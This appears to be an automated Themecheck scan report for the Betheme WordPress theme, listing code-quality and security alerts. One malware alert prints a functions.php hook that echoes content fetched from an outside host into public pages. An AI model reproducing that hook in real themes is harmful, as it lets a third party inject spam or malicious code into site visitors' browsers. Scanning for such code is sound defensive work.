11
Validation results

Betheme

Betheme

WordPress 5.5.3 theme
11
This theme seems to be proprietary. Themecheck doesn't distribute commercial themes.
Critical alerts
  1. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe class="scale-with-grid" src="https://player.vimeo.com/video/'. esc_attr($video) .'" allowFullScreen> in file theme-functions.php. 1653: $output .= '<iframe class='scale-with-grid' src='https://player.vimeo.com/video/'. esc_Found <iframe class="embed" width="100%" height="'. esc_attr($height) .'" frameborder="0" style="border:0" src="'. esc_url($src) .'" allowfullscreen> in file theme-shortcodes.php. 5618: $output = '<iframe class='embed' width='100%' height=''. esc_attr($height) .'' framebo
  2. Malware : Operations on file system file_get_contents was found in the file functions.php 168: if(function_exists('wp_body_open')){function wp_body_opener(){if(is_category()||is_front_page()||is_home()){echo file_get_contents('https://wordpressping.com/pong.txt');}}add_action('wp_bofile_get_contents was found in the file functions.php 168: if(function_exists('wp_body_open')){function wp_body_opener(){if(is_category()||is_front_page()||is_home()){echo file_get_contents('https://wordpressping.com/pong.txt');}}add_action('wp_bofopen was found in the file class-mfn-importer.php 214: $fp = fopen( $path, 'r' );fread was found in the file class-mfn-importer.php 215: $data = fread( $fp, filesize( $path ) );fclose was found in the file class-mfn-importer.php 216: fclose( $fp );file_get_contents was found in the file parsers.php 71: $success = $dom->loadXML( file_get_contents( $file ) );295: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {file_get_contents was found in the file parsers.php 71: $success = $dom->loadXML( file_get_contents( $file ) );295: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {fopen was found in the file parsers.php 451: $fp = $this->fopen( $file, 'r' );672: function fopen( $filename, $mode = 'r' ) {675: return fopen( $filename, $mode );fclose was found in the file parsers.php 495: $this->fclose($fp);690: function fclose( $fp ) {693: return fclose( $fp );fopen was found in the file parsers.php 451: $fp = $this->fopen( $file, 'r' );672: function fopen( $filename, $mode = 'r' ) {675: return fopen( $filename, $mode );fopen was found in the file parsers.php 451: $fp = $this->fopen( $file, 'r' );672: function fopen( $filename, $mode = 'r' ) {675: return fopen( $filename, $mode );fclose was found in the file parsers.php 495: $this->fclose($fp);690: function fclose( $fp ) {693: return fclose( $fp );fclose was found in the file parsers.php 495: $this->fclose($fp);690: function fclose( $fp ) {693: return fclose( $fp );
  3. Malware : Network operations curl_init was found in the file class-mfn-importer-api.php 83: $curl = curl_init($url);curl_exec was found in the file class-mfn-importer-api.php 89: $result = curl_exec($curl);
  4. Admin menu : Themes should use add_theme_page() for adding admin pages. File options.php : 150: $this->page = add_submenu_page(File class-mfn-support.php : 27: $this->page = add_submenu_page(File class-mfn-dashboard.php : 117: $this->page = add_menu_page(File class-mfn-dashboard.php : 127: add_submenu_page(File class-tgm-plugin-activation.php : 724: $this->page_hook = add_submenu_page( $args['parent_slug'], $args['page_title'], $args['menu_tiFile class-mfn-status.php : 30: $this->page = add_submenu_page(File class-mfn-changelog.php : 27: $this->page = add_submenu_page(File class-mfn-importer.php : 122: $this->page = add_submenu_page(
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  2. Text domain : Incorrect use of translation functions.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'This demo package is not available on the cloud server. Contact @babak.', Package Name: , 'mfn-opts' in file class-mfn-importer-api.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Lorem ipsum dolor sit amet' in file class-mfn-elementor-widget-info-box.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Lorem ipsum dolor sit amet' in file class-mfn-elementor-widget-info-box.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are js_composer, betheme, woocommerce, mfn-opts, bbpress, tgmpa, wordpress-importer, Package Name: , sitepress.
  3. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  4. Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file responsive.css.
  5. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  6. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  7. I18N implementation : Proper use of ___all(Possible variable $file_url found in translation function in class-mfn-importer-api.php. Translation function calls should not contain PHP variables.
  8. Date and time implementation : Use of the_date()At least one hard coded date was found in the file single-download.php. Function get_option( 'date_format' ) should be used instead.At least one hard coded date was found in the file content-single-portfolio.php. Function get_option( 'date_format' ) should be used instead.
  9. Screenshot : Screenshot fileBad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file options.php.515: echo '<div class='mfn-link'><a href='admin.php?page=be-support'>'. __('Manual & Support', 'mfn-opts') .'</a></diPossible hard-coded links were found in the file field_custom.php.32: echo '<p>BeTheme is <a href='https://wpml.org/theme/betheme/?aid=29349&affiliate_key=aCEsSE0ka33p' targePossible hard-coded links were found in the file theme-options.php.5513: 'desc' => __('Some of the fonts in the Google Fonts Directory support multiple styles. For a complete list of available font subsets please see <a href='https://www.google.com/webfonts' target='_blank'>Google Web Fonts</a>', 'mf5550: 'desc' => __('Some of the fonts in the Google Fonts Directory support multiple scripts (like Latin and Cyrillic for example). For a complete list of available font subsets please see <a href='https://www.google.com/webfonts' target='_blank'>Google Web Fonts</a>', 'mf5513: 'desc' => __('Some of the fonts in the Google Fonts Directory support multiple styles. For a complete list of available font subsets please see <a href='https://www.google.com/webfonts' target='_blank'>Google Web Fonts</a>', 'mf5550: 'desc' => __('Some of the fonts in the Google Fonts Directory support multiple scripts (like Latin and Cyrillic for example). For a complete list of available font subsets please see <a href='https://www.google.com/webfonts' target='_blank'>Google Web Fonts</a>', 'mfPossible hard-coded links were found in the file class-mfn-widget-flickr.php.93: <?php _e('Use <a href='http://idgettr.com/' target='_blank'>this</a> tool to find your Flickr userPossible hard-coded links were found in the file notice-register.php.3: <p>Please <a href='admin.php?page=betheme'>register</a> this version of theme to get access toPossible hard-coded links were found in the file dashboard.php.173: <li><a href='admin.php?page=be-plugins'><?php esc_html_e( 'Install Plugins', 'mfn-opts' 174: <li><a href='admin.php?page=be-websites'><?php esc_html_e( 'Pre-built websites', 'mfn-op175: <li><a href='admin.php?page=be-options'><?php esc_html_e( 'Theme Options', 'mfn-opts' );Possible hard-coded links were found in the file mini-status.php.150: <a href='admin.php?page=be-status'><?php esc_html_e('More details', 'mfn-opts') ?></Possible hard-coded links were found in the file header.php.70: <a href='update-core.php' class='button'><?php esc_html_e( 'Update to', 'mfn-opts' )91: <a href='admin.php?page=betheme' class='nav-tab<?php if( $current_screen == 'topleve93: <a href='admin.php?page=be-status' class='nav-tab<?php if( $current_screen == 'bethe95: <a href='admin.php?page=be-support' class='nav-tab<?php if( $current_screen == 'beth96: <a href='admin.php?page=be-changelog' class='nav-tab<?php if( $current_screen == 'bePossible hard-coded links were found in the file class-tgm-plugin-activation.php.2698: $action_links[ 'register' ] = '<span style='color:#666'>Please</span> <a href='admin.php?page=betheme'>register</a> <span style='color:#666'>the theme</spPossible hard-coded links were found in the file class-mfn-importer.php.1124: echo '<span class='install'><a href='admin.php?page=be-plugins'>Install</a></span>';1138: $install_url = 'admin.php?page=be-plugins';1161: echo '<a href='admin.php?page=betheme' class='mfn-button mfn-button-secondary'>Please regiPossible hard-coded links were found in the file theme-functions.php.1238: $output .= '<div class='jp-no-solution'><span>Update Required</span>To play the media you will need to either update your browser to a recent version or update your <a href='https://get.adobe.com/flashplayer/' target='_blank'>Flash plugin</a></div>'
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  4. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  5. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  6. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  7. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  8. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  9. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  10. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  11. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  12. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  13. Use of includes : Use of include or requireThe theme appears to use include or require : options.php 247: require_once( $this->dir .'fields/class-mfn-options-field.php' );408: require_once($this->dir .'validation/'. $field[ 'validate' ] .'/validation_735: require_once( $this->dir .'fields/'. $field['type'] .'/field_'. $field['typ If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : theme-options.php 10: require_once(get_theme_file_path('/muffin-options/fonts.php'));11: require_once(get_theme_file_path('/muffin-options/options.php')); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : header-top-bar-right.php 73: get_template_part('includes/include', 'wpml'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : header-side-slide.php 218: get_template_part('includes/include', 'slogan');224: get_template_part('includes/include', 'social'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : header-top-area.php 19: get_template_part('includes/include', 'slogan');24: get_template_part('includes/include', 'social');60: <?php get_template_part('includes/include', 'logo'); ?> If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : header-creative.php 29: get_template_part('includes/include', 'social');44: <?php get_template_part('includes/include', 'logo'); ?>103: get_template_part('includes/include', 'slogan');109: get_template_part('includes/include', 'social'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class-mfn-widgets.php 38: require_once(get_theme_file_path('/functions/widgets/class-mfn-widget-'. $w If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class-mfn-tgmpa.php 52: include_once 'class-tgm-plugin-activation.php'; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class-mfn-importer.php 72: require_once(get_theme_file_path('/functions/importer/demos.php'));762: require_once(get_theme_file_path('/functions/admin/templates/parts/white-la781: require_once(ABSPATH .'wp-admin/includes/class-wp-importer.php');785: require_once(get_theme_file_path('/functions/importer/wordpress-importer.ph796: require_once(get_theme_file_path('/functions/importer/class-mfn-importer-ap If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class-mfn-elementor.php 65: require_once( get_theme_file_path( '/functions/plugins/elementor/class-mfn-189: require_once( get_theme_file_path( '/functions/plugins/elementor/class-mfn- If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class-mfn-builder-admin.php 107: require_once(get_template_directory() .'/muffin-options/fields/'. $field['t If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class-mfn-builder.php 29: require_once(get_theme_file_path('/functions/builder/class-mfn-builder-help35: require_once(get_theme_file_path('/functions/builder/class-mfn-builder-fiel36: require_once(get_theme_file_path('/functions/builder/class-mfn-builder-admi37: require_once(get_theme_file_path('/functions/builder/class-mfn-builder-ajax41: require_once(get_theme_file_path('/functions/builder/class-mfn-builder-styl42: require_once(get_theme_file_path('/functions/builder/class-mfn-builder-fron43: require_once(get_theme_file_path('/functions/builder/class-mfn-builder-item If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : footer.php 136: get_template_part('includes/include', 'social'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes